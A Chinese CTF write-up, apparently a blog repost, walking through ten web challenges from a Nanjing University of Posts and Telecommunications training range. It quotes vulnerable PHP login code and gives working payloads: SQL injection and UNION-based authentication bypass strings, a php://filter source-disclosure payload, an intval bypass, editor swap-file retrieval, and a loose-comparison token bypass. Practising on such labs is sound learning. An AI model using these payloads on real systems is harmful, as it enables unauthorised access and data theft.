1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > 南京邮电大学CTF题目writeup (一) 含题目地址

南京邮电大学CTF题目writeup (一) 含题目地址

时间:2022-09-04 09:17:44

相关推荐

南京邮电大学CTF题目writeup (一) 含题目地址

题目地址:/

靶场关了 能找到一题目 是一题吧

Pass-01

进去就说我不是admin 所以肯定是破解admin的账户密码拿到flag 点击下面的源码

<?phpif($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); //连接数据库mysql_select_db(SAE_MYSQL_DB); //设置数据库名$user = trim($_POST[user]);//这里需要post传输 一个user 下面一个 passwd2个字符串$pass = md5(trim($_POST[pass]));$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //$sql是 判断 用户名密码是否一直 echo '</br>'.$sql;$query = mysql_fetch_array(mysql_query($sql));if($query[user]=="admin") { //检测上面的语句是否成立有返回就结果,然后在这里判断用户名是否为adminecho "<p>Logged in! flag:******************** </p>";}if($query[user] != "admin") {echo("<p>You are not admin!</p>");}}echo $query[user];?>

可以看见这里只需要让sql语句返回有结果且语句取值中user是admin就会输出结果。

所以这里的payload应该构造上面的

select user from ctf where (user='".$user."') and (pw='".$pass."')"

闭合这里的 user 然后让后面成立即可

admin') and 1=1#

Pass-02

题目地址:key在哪里?

题目问key在哪里 直接右键查看源代码 就找到了key

Pass-03

题目地址:你是在坑我?

同样找key 只有一个GIF图片 直接下载图片 然后转为txt访问

Pass-04

题目地址:/web6/

又是登录界面

<?phpif($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$user = $_POST[user];$pass = md5($_POST[pass]);//post的pass会进行过MD5加密处理$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); //查找用户名底下的pw表if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { //要求是为假echo "<p>Logged in! Key: ntcf{**************} </p>";}else {echo("<p>Log in failure!</p>");}}?>

$query[pw]这块有数据就会回显真 不用管 strcasecmp($pass, $query[pw])对比 传入的pass跟查询输出的pw是否为一直的

这里如果让 select pw from ctf where user='$user' 这个语句变形为

select pw from ctf where user='admin1' union select md5(5)# 那么前面 user查询的就会为假 联合查询后面的md5就会正常输出

且这里满足输入的 5 通过post的md5加入的内容 和输入的 5 不匹配 所以可以绕过验证

所以 构造语句 就为用户名输入 admin1' union select md5(5)# 密码 输入5

Pass-05

题目地址:asdf

题目是点击触发后来到这里 一看就是文件包含 直接就用php伪协议去读取了show.php 但是内容啥也不是 回头来读index.php发现了key

Payload:php://filter/read=convert.base64-encode/resource=index.php(这句话是真的记了多少次都没搞定难顶 手写了几次 都输入错误)

Pass-06

/web8/

这题是进去就说 点击找key 然后点击后 直接跳转到 no_key_is_here_forever.php这个界面

用浏览器的view_source查看了源代码 发现他跳转的过程存在 search_key.php

读取该页面源代码 发现了key

Pass-07

题目地址:/web9/

同样的题目 以为也可以查看源代码过 试了一下不行 就用burpsuite抓包看了一下找到key

Pass-08

题目地址:Do you know robots.txt?

提示是看robots.txt 访问发现提示如下

代码审计题目 关键点 提到了一个sql.php的文件 访问方式是 GET请求一个id的内容 让id满足等于1024的要求

<?phpif($_GET[id]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$id = intval($_GET[id]);$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));if ($_GET[id]==1024) {echo "<p>no! try again</p>";}else{echo($query[content]);}}?>

这里用id=1025和id=1023还有一些值都会出内容但是不是flag

看题上面在对id传入的内容会有一个 intval的函数进行处理 所以这里传1024.1也会被当做1024来处理 这里传数组测试过 还是不行。

所以payload:sql.php?id=1024.1

Pass-09

题目地址:​​​​​​SuperSo | by:p0tt1

这题刚开始拿到以为是要用xss怎么访问都是去百度执行,寻思这也太恐怖了吧 然后就没敢仔细看。后来看了一下其实这题很简单就是要自信,一直要去追就可以了 。

查看根目录源代码

发现第一个文件 跟下去看源代码

发现第二个 在进去

之前做到这里就放弃了 以为是假的 没仔细看其实都不一样的

再进去

读取404.html

答案就在这里 我吐了。

Pass- 10

题目地址:/web14/

直接查看源代码就可以找到邮箱地址 这没什么难度

看了相关提示 说这是用vim编辑器编辑的 不知道最开始题目是否有提示 不然猜出来的也太牛逼了

然后访问 连接地址的submit.php的缓存 .submit.php.swp

触不及防的代码审计

if(!empty($token)&&!empty($emailAddress)){if(strlen($token)!=10) die('fail');if($token!='0') die('fail');$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";$r = mysql_query($sql) or die('db error');$r = mysql_fetch_assoc($r);$r = $r['num'];if($r>0){echo $flag;}else{echo "失败了呀";}}

本来 想在这里"SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'"; 这用token 写个 or的判断绕过算了 但是上面写了 token传值长度为10

这里放弃 看下面一句 判断token的内容如果不等于0 那么就直接杀 这句话也太猛了

回想两个条件 要求 token内容为0 长度为10 sql支持进制传递的 第一想到的就是16进制

从这里可以看见 二进制 是满足 要求的 也就是内容为 0e00110000的输入方式作为 token的内容满足所有条件 所以payload也就是 0e00110000

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。